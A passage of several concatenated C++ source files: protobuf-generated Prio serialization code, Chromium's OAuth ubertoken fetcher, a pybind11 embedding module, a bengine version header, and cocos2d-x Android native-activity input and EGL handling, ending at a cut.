::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:private_statistics.prio.proto.CreatePacketsParameters)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// optional .private_statistics.prio.proto.PrioAlgorithmParameters prio_parameters = 1;
if (cached_has_bits & 0x00000001u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(
1, _Internal::prio_parameters(this), target, stream);
}
// repeated string public_keys = 2;
for (int i = 0, n = this->_internal_public_keys_size(); i < n; i++) {
const auto& s = this->_internal_public_keys(i);
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
s.data(), static_cast<int>(s.length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"private_statistics.prio.proto.CreatePacketsParameters.public_keys");
target = stream->WriteString(2, s, target);
}
// repeated uint32 data_bits = 3;
for (int i = 0, n = this->_internal_data_bits_size(); i < n; i++) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt32ToArray(3, this->_internal_data_bits(i), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:private_statistics.prio.proto.CreatePacketsParameters)
return target;
}
size_t CreatePacketsParameters::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:private_statistics.prio.proto.CreatePacketsParameters)
size_t total_size = 0;
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
// repeated string public_keys = 2;
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(public_keys_.size());
for (int i = 0, n = public_keys_.size(); i < n; i++) {
total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
public_keys_.Get(i));
}
// repeated uint32 data_bits = 3;
{
size_t data_size = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
UInt32Size(this->data_bits_);
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(this->_internal_data_bits_size());
total_size += data_size;
}
// optional .private_statistics.prio.proto.PrioAlgorithmParameters prio_parameters = 1;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000001u) {
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*prio_parameters_);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void CreatePacketsParameters::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:private_statistics.prio.proto.CreatePacketsParameters)
GOOGLE_DCHECK_NE(&from, this);
const CreatePacketsParameters* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<CreatePacketsParameters>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:private_statistics.prio.proto.CreatePacketsParameters)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:private_statistics.prio.proto.CreatePacketsParameters)
MergeFrom(*source);
}
}
void CreatePacketsParameters::MergeFrom(const CreatePacketsParameters& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:private_statistics.prio.proto.CreatePacketsParameters)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
public_keys_.MergeFrom(from.public_keys_);
data_bits_.MergeFrom(from.data_bits_);
if (from._internal_has_prio_parameters()) {
_internal_mutable_prio_parameters()->::private_statistics::prio::proto::PrioAlgorithmParameters::MergeFrom(from._internal_prio_parameters());
}
}
void CreatePacketsParameters::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:private_statistics.prio.proto.CreatePacketsParameters)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void CreatePacketsParameters::CopyFrom(const CreatePacketsParameters& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:private_statistics.prio.proto.CreatePacketsParameters)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool CreatePacketsParameters::IsInitialized() const {
return true;
}
void CreatePacketsParameters::InternalSwap(CreatePacketsParameters* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
public_keys_.InternalSwap(&other->public_keys_);
data_bits_.InternalSwap(&other->data_bits_);
swap(prio_parameters_, other->prio_parameters_);
}
::PROTOBUF_NAMESPACE_ID::Metadata CreatePacketsParameters::GetMetadata() const {
return GetMetadataStatic();
}
// @@protoc_insertion_point(namespace_scope)
} // namespace proto
} // namespace prio
} // namespace private_statistics
PROTOBUF_NAMESPACE_OPEN
template<> PROTOBUF_NOINLINE ::private_statistics::prio::proto::ResponseStatus* Arena::CreateMaybeMessage< ::private_statistics::prio::proto::ResponseStatus >(Arena* arena) {
return Arena::CreateMessageInternal< ::private_statistics::prio::proto::ResponseStatus >(arena);
}
template<> PROTOBUF_NOINLINE ::private_statistics::prio::proto::CreatePacketsResponse* Arena::CreateMaybeMessage< ::private_statistics::prio::proto::CreatePacketsResponse >(Arena* arena) {
return Arena::CreateMessageInternal< ::private_statistics::prio::proto::CreatePacketsResponse >(arena);
}
template<> PROTOBUF_NOINLINE ::private_statistics::prio::proto::CreatePacketsParameters* Arena::CreateMaybeMessage< ::private_statistics::prio::proto::CreatePacketsParameters >(Arena* arena) {
return Arena::CreateMessageInternal< ::private_statistics::prio::proto::CreatePacketsParameters >(arena);
}
PROTOBUF_NAMESPACE_CLOSE
// @@protoc_insertion_point(global_scope)
#include <google/protobuf/port_undef.inc>
| 45,431 | 16,435 |
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "google_apis/gaia/ubertoken_fetcher.h"
#include <vector>
#include "base/logging.h"
#include "base/metrics/histogram_macros.h"
#include "base/rand_util.h"
#include "base/time/time.h"
#include "google_apis/gaia/gaia_auth_fetcher.h"
#include "google_apis/gaia/gaia_constants.h"
#include "google_apis/gaia/google_service_auth_error.h"
#include "google_apis/gaia/oauth2_token_service.h"
namespace {
GaiaAuthFetcher* CreateGaiaAuthFetcher(
GaiaAuthConsumer* consumer,
const std::string& source,
net::URLRequestContextGetter* request_context) {
return new GaiaAuthFetcher(consumer, source, request_context);
}
}
const int UbertokenFetcher::kMaxRetries = 3;
UbertokenFetcher::UbertokenFetcher(
OAuth2TokenService* token_service,
UbertokenConsumer* consumer,
const std::string& source,
net::URLRequestContextGetter* request_context)
: UbertokenFetcher(token_service,
consumer,
source,
request_context,
base::Bind(CreateGaiaAuthFetcher)) {
}
UbertokenFetcher::UbertokenFetcher(
OAuth2TokenService* token_service,
UbertokenConsumer* consumer,
const std::string& source,
net::URLRequestContextGetter* request_context,
GaiaAuthFetcherFactory factory)
: OAuth2TokenService::Consumer("uber_token_fetcher"),
token_service_(token_service),
consumer_(consumer),
source_(source),
request_context_(request_context),
gaia_auth_fetcher_factory_(factory),
retry_number_(0),
second_access_token_request_(false) {
DCHECK(token_service);
DCHECK(consumer);
DCHECK(request_context);
}
UbertokenFetcher::~UbertokenFetcher() {
}
void UbertokenFetcher::StartFetchingToken(const std::string& account_id) {
DCHECK(!account_id.empty());
account_id_ = account_id;
second_access_token_request_ = false;
RequestAccessToken();
}
void UbertokenFetcher::StartFetchingTokenWithAccessToken(
const std::string& account_id, const std::string& access_token) {
DCHECK(!account_id.empty());
DCHECK(!access_token.empty());
account_id_ = account_id;
access_token_ = access_token;
ExchangeTokens();
}
void UbertokenFetcher::OnUberAuthTokenSuccess(const std::string& token) {
consumer_->OnUbertokenSuccess(token);
}
void UbertokenFetcher::OnUberAuthTokenFailure(
const GoogleServiceAuthError& error) {
// Retry only transient errors.
bool should_retry =
error.state() == GoogleServiceAuthError::CONNECTION_FAILED ||
error.state() == GoogleServiceAuthError::SERVICE_UNAVAILABLE;
if (should_retry) {
if (retry_number_ < kMaxRetries) {
// Calculate an exponential backoff with randomness of less than 1 sec.
double backoff = base::RandDouble() + (1 << retry_number_);
++retry_number_;
UMA_HISTOGRAM_ENUMERATION("Signin.UberTokenRetry",
error.state(), GoogleServiceAuthError::NUM_STATES);
retry_timer_.Stop();
retry_timer_.Start(FROM_HERE,
base::TimeDelta::FromSecondsD(backoff),
this,
&UbertokenFetcher::ExchangeTokens);
return;
}
} else {
// The access token is invalid. Tell the token service.
OAuth2TokenService::ScopeSet scopes;
scopes.insert(GaiaConstants::kOAuth1LoginScope);
token_service_->InvalidateAccessToken(account_id_, scopes, access_token_);
// In case the access was just stale, try one more time.
if (!second_access_token_request_) {
second_access_token_request_ = true;
RequestAccessToken();
return;
}
}
UMA_HISTOGRAM_ENUMERATION("Signin.UberTokenFailure",
error.state(), GoogleServiceAuthError::NUM_STATES);
consumer_->OnUbertokenFailure(error);
}
void UbertokenFetcher::OnGetTokenSuccess(
const OAuth2TokenService::Request* request,
const std::string& access_token,
const base::Time& expiration_time) {
DCHECK(!access_token.empty());
access_token_ = access_token;
access_token_request_.reset();
ExchangeTokens();
}
void UbertokenFetcher::OnGetTokenFailure(
const OAuth2TokenService::Request* request,
const GoogleServiceAuthError& error) {
access_token_request_.reset();
consumer_->OnUbertokenFailure(error);
}
void UbertokenFetcher::RequestAccessToken() {
retry_number_ = 0;
gaia_auth_fetcher_.reset();
retry_timer_.Stop();
OAuth2TokenService::ScopeSet scopes;
scopes.insert(GaiaConstants::kOAuth1LoginScope);
access_token_request_ =
token_service_->StartRequest(account_id_, scopes, this);
}
void UbertokenFetcher::ExchangeTokens() {
gaia_auth_fetcher_.reset(
gaia_auth_fetcher_factory_.Run(this, source_, request_context_));
gaia_auth_fetcher_->StartTokenFetchForUberAuthExchange(access_token_);
}
| 4,961 | 1,625 |
// 2021 John Lees, Gerry Tonkin-Hill, Zhirong Yang
// See LICENSE files
#include "pairsnp.hpp"
#include "sound.hpp"
#include "wtsne.hpp"
#include <pybind11/stl.h>
namespace py = pybind11;
PYBIND11_MODULE(SCE, m) {
m.doc() = "Stochastic cluster embedding";
m.attr("version") = VERSION_INFO;
// Results class (need to define here to be able to return this type)
py::class_<sce_results, std::shared_ptr<sce_results>>(m, "sce_result")
.def(py::init<const bool, const size_t, const uint64_t>())
.def("animated", &sce_results::is_animated)
.def("n_frames", &sce_results::n_frames)
.def("get_eq", &sce_results::get_eq)
.def("get_embedding", &sce_results::get_embedding)
.def("get_embedding_frame", &sce_results::get_embedding_frame,
py::arg("frame"));
// Exported functions
m.def("wtsne", &wtsne, py::return_value_policy::take_ownership,
"Run stochastic cluster embedding", py::arg("I_vec"), py::arg("J_vec"),
py::arg("dist_vec"), py::arg("weights"), py::arg("perplexity"),
py::arg("maxIter"), py::arg("nRepuSamp") = 5, py::arg("eta0") = 1,
py::arg("bInit") = 0, py::arg("animated") = false,
py::arg("n_workers") = 128, py::arg("n_threads") = 1,
py::arg("seed") = 1);
m.def("pairsnp", &pairsnp, py::return_value_policy::take_ownership,
"Run pairsnp", py::arg("fasta"), py::arg("n_threads"), py::arg("dist"),
py::arg("knn"));
m.def("gen_audio", &sample_wave, py::return_value_policy::take_ownership,
"Generate audio for animation", py::arg("frequencies"),
py::arg("duration"), py::arg("sample_rate"), py::arg("n_threads"));
#ifdef GPU_AVAILABLE
// NOTE: python always uses fp64 so cannot easily template these (which
// would just give one function name exported but with different type
// prototypes). To do this would require numpy (python)/Eigen (C++) which
// support both precisions. But easier just to stick with List (python)/
// std::vector (C++) and allow fp64->fp32 conversion when called
// Use fp64 for double precision (slower, more accurate)
m.def("wtsne_gpu_fp64", &wtsne_gpu<double>,
py::return_value_policy::take_ownership,
"Run stochastic cluster embedding with CUDA", py::arg("I_vec"),
py::arg("J_vec"), py::arg("dist_vec"), py::arg("weights"),
py::arg("perplexity"), py::arg("maxIter"), py::arg("blockSize") = 128,
py::arg("n_workers") = 128, py::arg("nRepuSamp") = 5,
py::arg("eta0") = 1, py::arg("bInit") = 0, py::arg("animated") = false,
py::arg("cpu_threads") = 1, py::arg("device_id") = 0,
py::arg("seed") = 1);
// Use fp32 for single precision (faster, less accurate)
m.def("wtsne_gpu_fp32", &wtsne_gpu<float>,
py::return_value_policy::take_ownership,
"Run stochastic cluster embedding with CUDA", py::arg("I_vec"),
py::arg("J_vec"), py::arg("dist_vec"), py::arg("weights"),
py::arg("perplexity"), py::arg("maxIter"), py::arg("blockSize") = 128,
py::arg("n_workers") = 128, py::arg("nRepuSamp") = 5,
py::arg("eta0") = 1, py::arg("bInit") = 0, py::arg("animated") = false,
py::arg("cpu_threads") = 1, py::arg("device_id") = 0,
py::arg("seed") = 1);
#endif
}
| 3,273 | 1,222 |
#pragma once
#ifndef BE_CORE_VERSION_HPP_
#define BE_CORE_VERSION_HPP_
#include "macros.hpp"
#define BE_CORE_VERSION_MAJOR 0
#define BE_CORE_VERSION_MINOR 1
#define BE_CORE_VERSION_REV 32
/*!! include('common/version', 'BE_CORE', 'bengine') !! 6 */
/* ################# !! GENERATED CODE -- DO NOT MODIFY !! ################# */
#define BE_CORE_VERSION (BE_CORE_VERSION_MAJOR * 100000 + BE_CORE_VERSION_MINOR * 1000 + BE_CORE_VERSION_REV)
#define BE_CORE_VERSION_STRING "bengine " BE_STRINGIFY(BE_CORE_VERSION_MAJOR) "." BE_STRINGIFY(BE_CORE_VERSION_MINOR) "." BE_STRINGIFY(BE_CORE_VERSION_REV)
/* ######################### END OF GENERATED CODE ######################### */
#define BE_COPYRIGHT "Copyright (C) 2012-2017 Magic / More Magic, B. Crist"
#define BE_LICENSE "Distributed under the MIT license as part of bengine"
#define BE_URL "https://github.com/magicmoremagic/bengine"
#endif
| 897 | 367 |
/****************************************************************************
Copyright (c) 2013-2014 Chukong Technologies Inc.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "nativeactivity.h"
#include <jni.h>
#include <errno.h>
#include <EGL/egl.h>
#include <GLES/gl.h>
#include <android/sensor.h>
#include <android/log.h>
#include <android_native_app_glue.h>
#include <android/configuration.h>
#include <pthread.h>
#include <chrono>
#include "CCDirector.h"
#include "CCApplication.h"
#include "CCEventType.h"
#include "CCFileUtilsAndroid.h"
#include "jni/JniHelper.h"
#include "CCEGLView.h"
#include "CCDrawingPrimitives.h"
#include "CCShaderCache.h"
#include "CCTextureCache.h"
#include "CCEventDispatcher.h"
#include "CCEventAcceleration.h"
#include "CCEventKeyboard.h"
#include "CCEventCustom.h"
#include "jni/Java_org_cocos2dx_lib_Cocos2dxHelper.h"
#define LOGI(...) ((void)__android_log_print(ANDROID_LOG_INFO, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
#define LOGW(...) ((void)__android_log_print(ANDROID_LOG_WARN, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
#define LOGE(...) ((void)__android_log_print(ANDROID_LOG_ERROR, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
#define LOG_RENDER_DEBUG(...)
// #define LOG_RENDER_DEBUG(...) ((void)__android_log_print(ANDROID_LOG_INFO, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
#define LOG_EVENTS_DEBUG(...)
// #define LOG_EVENTS_DEBUG(...) ((void)__android_log_print(ANDROID_LOG_INFO, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
/* For debug builds, always enable the debug traces in this library */
#ifndef NDEBUG
# define LOGV(...) ((void)__android_log_print(ANDROID_LOG_VERBOSE, "cocos2dx/nativeactivity.cpp", __VA_ARGS__))
#else
# define LOGV(...) ((void)0)
#endif
void cocos_android_app_init(struct android_app* app);
/**
* Our saved state data.
*/
struct saved_state {
float angle;
int32_t x;
int32_t y;
};
/**
* Shared state for our app.
*/
struct engine {
struct android_app* app;
ASensorManager* sensorManager;
const ASensor* accelerometerSensor;
ASensorEventQueue* sensorEventQueue;
int animating;
EGLDisplay display;
EGLSurface surface;
EGLContext context;
int32_t width;
int32_t height;
struct saved_state state;
};
static bool isContentRectChanged = false;
static std::chrono::steady_clock::time_point timeRectChanged;
static struct engine engine;
static char* editboxText = NULL;
extern EditTextCallback s_pfEditTextCallback;
extern void* s_ctx;
extern "C" {
JNIEXPORT void JNICALL Java_org_cocos2dx_lib_Cocos2dxHelper_nativeSetEditTextDialogResult(JNIEnv * env, jobject obj, jbyteArray text) {
jsize size = env->GetArrayLength(text);
pthread_mutex_lock(&(engine.app->mutex));
if (size > 0) {
jbyte * data = (jbyte*)env->GetByteArrayElements(text, 0);
char* pBuf = (char*)malloc(size+1);
if (pBuf != NULL) {
memcpy(pBuf, data, size);
pBuf[size] = '\0';
editboxText = pBuf;
}
env->ReleaseByteArrayElements(text, data, 0);
} else {
char* pBuf = (char*)malloc(1);
pBuf[0] = '\0';
editboxText = pBuf;
}
pthread_cond_broadcast(&engine.app->cond);
pthread_mutex_unlock(&(engine.app->mutex));
}
}
typedef struct cocos_dimensions {
int w;
int h;
} cocos_dimensions;
static void cocos_init(cocos_dimensions d, struct android_app* app) {
LOGI("cocos_init(...)");
pthread_t thisthread = pthread_self();
LOGI("pthread_self() = %X", thisthread);
cocos2d::FileUtilsAndroid::setassetmanager(app->activity->assetManager);
if (!cocos2d::Director::getInstance()->getOpenGLView())
{
cocos2d::EGLView *view = cocos2d::EGLView::getInstance();
view->setFrameSize(d.w, d.h);
cocos_android_app_init(app);
cocos2d::Application::getInstance()->run();
}
else
{
cocos2d::GL::invalidateStateCache();
cocos2d::ShaderCache::getInstance()->reloadDefaultShaders();
cocos2d::DrawPrimitives::init();
cocos2d::VolatileTextureMgr::reloadAllTextures();
cocos2d::EventCustom foregroundEvent(EVENT_COME_TO_FOREGROUND);
cocos2d::Director::getInstance()->getEventDispatcher()->dispatchEvent(&foregroundEvent);
cocos2d::Director::getInstance()->setGLDefaultValues();
}
}
/**
* Initialize an EGL context for the current display.
*/
static cocos_dimensions engine_init_display(struct engine* engine) {
cocos_dimensions r;
r.w = -1;
r.h = -1;
// initialize OpenGL ES and EGL
/*
* Here specify the attributes of the desired configuration.
* Below, we select an EGLConfig with at least 8 bits per color
* component compatible with on-screen windows
*/
const EGLint attribs[] = {
EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
EGL_BLUE_SIZE, 5,
EGL_GREEN_SIZE, 6,
EGL_RED_SIZE, 5,
EGL_DEPTH_SIZE, 16,
EGL_STENCIL_SIZE, 8,
EGL_NONE
};
EGLint w, h, dummy, format;
EGLint numConfigs;
EGLConfig config;
EGLSurface surface;
EGLContext context;
EGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
eglInitialize(display, 0, 0);
/* Here, the application chooses the configuration it desires. In this
* sample, we have a very simplified selection process, where we pick
* the first EGLConfig that matches our criteria */
eglChooseConfig(display, attribs, &config, 1, &numConfigs);
/* EGL_NATIVE_VISUAL_ID is an attribute of the EGLConfig that is
* guaranteed to be accepted by ANativeWindow_setBuffersGeometry().
* As soon as we picked a EGLConfig, we can safely reconfigure the
* ANativeWindow buffers to match, using EGL_NATIVE_VISUAL_ID. */
eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format);
ANativeWindow_setBuffersGeometry(engine->app->window, 0, 0, format);
surface = eglCreateWindowSurface(display, config, engine->app->window, NULL);
const EGLint eglContextAttrs[] =
{
EGL_CONTEXT_CLIENT_VERSION, 2,
EGL_NONE
};
context = eglCreateContext(display, config, NULL, eglContextAttrs);
if (eglMakeCurrent(display, surface, surface, context) == EGL_FALSE) {
LOGW("Unable to eglMakeCurrent");
return r;
}
eglQuerySurface(display, surface, EGL_WIDTH, &w);
eglQuerySurface(display, surface, EGL_HEIGHT, &h);
engine->display = display;
engine->context = context;
engine->surface = surface;
engine->width = w;
engine->height = h;
engine->state.angle = 0;
r.w = w;
r.h = h;
return r;
}
/**
* Invoke the dispatching of the next bunch of Runnables in the Java-Land
*/
static bool s_methodInitialized = false;
static void dispatch_pending_runnables() {
static cocos2d::JniMethodInfo info;
if (!s_methodInitialized) {
s_methodInitialized = cocos2d::JniHelper::getStaticMethodInfo(
info,
"org/cocos2dx/lib/Cocos2dxHelper",
"dispatchPendingRunnables",
"()V"
);
if (!s_methodInitialized) {
LOGW("Unable to dispatch pending Runnables!");
return;
}
}
info.env->CallStaticVoidMethod(info.classID, info.methodID);
}
/**
* Just the current frame in the display.
*/
static void engine_draw_frame(struct engine* engine) {
LOG_RENDER_DEBUG("engine_draw_frame(...)");
pthread_t thisthread = pthread_self();
LOG_RENDER_DEBUG("pthread_self() = %X", thisthread);
if (engine->display == NULL) {
// No display.
LOGW("engine_draw_frame : No display.");
return;
}
dispatch_pending_runnables();
cocos2d::Director::getInstance()->mainLoop();
LOG_RENDER_DEBUG("engine_draw_frame : just called cocos' mainLoop()");
/* // Just fill the screen with a color. */
/* glClearColor(((float)engine->state.x)/engine->width, engine->state.angle, */
/* ((float)engine->state.y)/engine->height, 1); */
/* glClear(GL_COLOR_BUFFER_BIT); */
if (s_pfEditTextCallback && editboxText)
{
s_pfEditTextCallback(editboxText, s_ctx);
free(editboxText);
editboxText = NULL;
}
eglSwapBuffers(engine->display, engine->surface);
}
/**
* Tear down the EGL context currently associated with the display.
*/
static void engine_term_display(struct engine* engine) {
if (engine->display != EGL_NO_DISPLAY) {
eglMakeCurrent(engine->display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
if (engine->context != EGL_NO_CONTEXT) {
eglDestroyContext(engine->display, engine->context);
}
if (engine->surface != EGL_NO_SURFACE) {
eglDestroySurface(engine->display, engine->surface);
}
eglTerminate(engine->display);
}
engine->animating = 0;
engine->display = EGL_NO_DISPLAY;
engine->context = EGL_NO_CONTEXT;
engine->surface = EGL_NO_SURFACE;
}
/*
* Get X, Y positions and ID's for all pointers
*/
static void getTouchPos(AInputEvent *event, int ids[], float xs[], float ys[]) {
int pointerCount = AMotionEvent_getPointerCount(event);
for(int i = 0; i < pointerCount; ++i) {
ids[i] = AMotionEvent_getPointerId(event, i);
xs[i] = AMotionEvent_getX(event, i);
ys[i] = AMotionEvent_getY(event, i);
}
}
/*
* Handle Touch Inputs
*/
static int32_t handle_touch_input(AInputEvent *event) {
pthread_t thisthread = pthread_self();
LOG_EVENTS_DEBUG("handle_touch_input(%X), pthread_self() = %X", event, thisthread);
switch(AMotionEvent_getAction(event) &
AMOTION_EVENT_ACTION_MASK) {
case AMOTION_EVENT_ACTION_DOWN:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_DOWN");
int pointerId = AMotionEvent_getPointerId(event, 0);
float xP = AMotionEvent_getX(event,0);
float yP = AMotionEvent_getY(event,0);
LOG_EVENTS_DEBUG("Event: Action DOWN x=%f y=%f pointerID=%d\n",
xP, yP, pointerId);
float x = xP;
float y = yP;
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesBegin(1, &pointerId, &x, &y);
return 1;
}
break;
case AMOTION_EVENT_ACTION_POINTER_DOWN:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_POINTER_DOWN");
int pointerIndex = AMotionEvent_getAction(event) >> AMOTION_EVENT_ACTION_POINTER_INDEX_SHIFT;
int pointerId = AMotionEvent_getPointerId(event, pointerIndex);
float xP = AMotionEvent_getX(event,pointerIndex);
float yP = AMotionEvent_getY(event,pointerIndex);
LOG_EVENTS_DEBUG("Event: Action POINTER DOWN x=%f y=%f pointerID=%d\n",
xP, yP, pointerId);
float x = xP;
float y = yP;
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesBegin(1, &pointerId, &x, &y);
return 1;
}
break;
case AMOTION_EVENT_ACTION_MOVE:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_MOVE");
int pointerCount = AMotionEvent_getPointerCount(event);
int ids[pointerCount];
float xs[pointerCount], ys[pointerCount];
getTouchPos(event, ids, xs, ys);
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesMove(pointerCount, ids, xs, ys);
return 1;
}
break;
case AMOTION_EVENT_ACTION_UP:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_UP");
int pointerId = AMotionEvent_getPointerId(event, 0);
float xP = AMotionEvent_getX(event,0);
float yP = AMotionEvent_getY(event,0);
LOG_EVENTS_DEBUG("Event: Action UP x=%f y=%f pointerID=%d\n",
xP, yP, pointerId);
float x = xP;
float y = yP;
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesEnd(1, &pointerId, &x, &y);
return 1;
}
break;
case AMOTION_EVENT_ACTION_POINTER_UP:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_POINTER_UP");
int pointerIndex = AMotionEvent_getAction(event) >> AMOTION_EVENT_ACTION_POINTER_INDEX_SHIFT;
int pointerId = AMotionEvent_getPointerId(event, pointerIndex);
float xP = AMotionEvent_getX(event,pointerIndex);
float yP = AMotionEvent_getY(event,pointerIndex);
LOG_EVENTS_DEBUG("Event: Action POINTER UP x=%f y=%f pointerID=%d\n",
xP, yP, pointerIndex);
float x = xP;
float y = yP;
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesEnd(1, &pointerId, &x, &y);
return 1;
}
break;
case AMOTION_EVENT_ACTION_CANCEL:
{
LOG_EVENTS_DEBUG("AMOTION_EVENT_ACTION_CANCEL");
int pointerCount = AMotionEvent_getPointerCount(event);
int ids[pointerCount];
float xs[pointerCount], ys[pointerCount];
getTouchPos(event, ids, xs, ys);
cocos2d::Director::getInstance()->getOpenGLView()->handleTouchesCancel(pointerCount, ids, xs, ys);
return 1;
}
break;
default:
LOG_EVENTS_DEBUG("handle_touch_input() default case.... NOT HANDLE");
return 0;
break;
}
}
/*
* Handle Key Inputs
*/
static int32_t handle_key_input(AInputEvent *event)
{
if (AKeyEvent_getAction(event) == AKEY_EVENT_ACTION_UP)
{
auto dispatcher = cocos2d::Director::getInstance()->getEventDispatcher();
switch (AKeyEvent_getKeyCode(event))
{
case AKEYCODE_BACK:
{
cocos2d::EventKeyboard event(cocos2d::EventKeyboard::KeyCode::KEY_BACKSPACE, false);
dispatcher->dispatchEvent(&event);
}
return 1;
case AKEYCODE_MENU:
{
cocos2d::EventKeyboard event(cocos2d::EventKeyboard::KeyCode::KEY_MENU, false);
dispatcher->dispatchEvent(&event);
}
return 1;
default:
break;
}
}
return 0;
}
/**
* Process the next input event.
*/
static int32_t engine_handle_input(struct android_app* app, AInputEvent* event) {
pthread_t thisthread = pthread_self();
LOG_EVENTS_DEBUG("engine_handle_input(%X, %X), pthread_self() = %X", app, event, thisthread);
struct engine* engine = (struct engine*)app->userData;
if (AInputEvent_getType(event) == AINPUT_EVENT_TYPE_MOTION) {
engine->animating = 1;
engine->state.x = AMotionEvent_getX(event, 0);
engine->state.y = AMotionEvent_getY(event, 0);
return handle_touch_input(event);
}
else
return handle_key_input(event);
return 0;
}
void enableAccelerometerJni(void) {
LOGI("enableAccelerometerJni()");
if (engine.accelerometerSensor != NULL) {
ASensorEventQueue_enableSensor(engine.sensorEventQueue,
engine.accelerometerSensor);
// Set a default sample rate
// We'd like to get 60 events per second (in us).
ASensorEventQueue_setEventRate(engine.sensorEventQueue,
engine.accelerometerSensor, (1000L/60)*1000);
}
}
void disableAccelerometerJni(void) {
LOGI("disableAccelerometerJni()");
if (engine.accelerometerSensor != NULL) {
ASensorEventQueue_disableSensor(engine.sensorEventQueue,
engine.accelerometerSensor);
}
}
void setAccelerometerIntervalJni(float interval) {
LOGI("setAccelerometerIntervalJni(%f)", interval);
// We'd like to get 60 events per second (in us).
ASensorEventQueue_setEventRate(engine.sensorEventQueue,
engine.accelerometerSensor, interval * 1000000L);
}
/**
* Process the next main command.
*/
